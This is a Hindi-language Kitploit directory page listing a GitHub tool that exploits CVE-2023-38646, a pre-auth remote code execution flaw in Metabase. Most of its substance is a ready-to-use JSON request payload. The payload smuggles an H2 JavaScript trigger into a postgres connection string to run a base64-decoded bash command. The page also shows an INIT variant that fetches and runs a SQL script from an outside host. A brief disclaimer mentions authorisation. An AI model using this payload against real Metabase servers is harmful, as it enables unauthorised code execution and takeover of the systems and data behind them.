Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Another-Metabase-RCE-CVE-2023-38646 — Metabase postgres (org.h2.Driver) बिना INIT के RCE | Kitploit
उपकरण/GitHubGitHub/0utl4nder/another-metabase-rce-cve-2023-38646
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHub0utl4nder/another-metabase-rce-cve-2023-38646

Another-Metabase-RCE-CVE-2023-38646

Metabase postgres (org.h2.Driver) बिना INIT के RCE

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
1482 साल पहलेअभी तक समीक्षित नहीं
साझा करें

मेटाबेस में प्री-ऑथ RCE (CVE-2023-38646) का विस्तार यहाँ समझाया गया

इसने मुझे "डेटाबेस पहले से उपयोग में है" (H2 और पोस्टग्रे इंजन के साथ) त्रुटियों से बचने में मदद की

root@kitploit:~
{
"token": "TOKEN",
"details":
{
 "is_on_demand": false,
 "is_full_sync": false,
 "is_sample": false,
 "cache_ttl": null,
 "refingerprint": false,
 "auto_run_queries": true,
 "schedules":{},
 "details":
 {
  "advanced-options":true,
  "classname":"org.h2.Driver",
  "subname": "./metabase.jar;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER xel BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}')\n$$--=x",
  "subprotocol": "h2"
 },
 "engine": "postgres",
 "name": "x"
}}

सीधे h2 को INIT स्क्रिप्ट के साथ इंजन के रूप में उपयोग करने के बजाय, क्योंकि इसे हमारे क्वेरीज़ से हटा दिया गया है, हम अभी भी h2 इंजन के लिए db क्वेरी का उपयोग कर रहे हैं

INIT स्क्रिप्ट mem;test;INIT=RUNSCRIPT FROM 'http://10.10.10.10/sqlcmd.sql'

.sql फ़ाइल में आप शेल कमांड निष्पादित करने का तरीका निर्दिष्ट करते हैं

संदर्भ

https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase

एक नोट के रूप में लिखा गया है, इसे अस्पष्ट दस्तावेज़ीकरण मानें, किसी भी लक्ष्य के विरुद्ध गणना, शोषण या केवल परीक्षण करने के लिए आपके पास अधिकार होना चाहिए

टिप्पणियाँ और योगदान स्वागत हैं

टूल डाउनलोड करें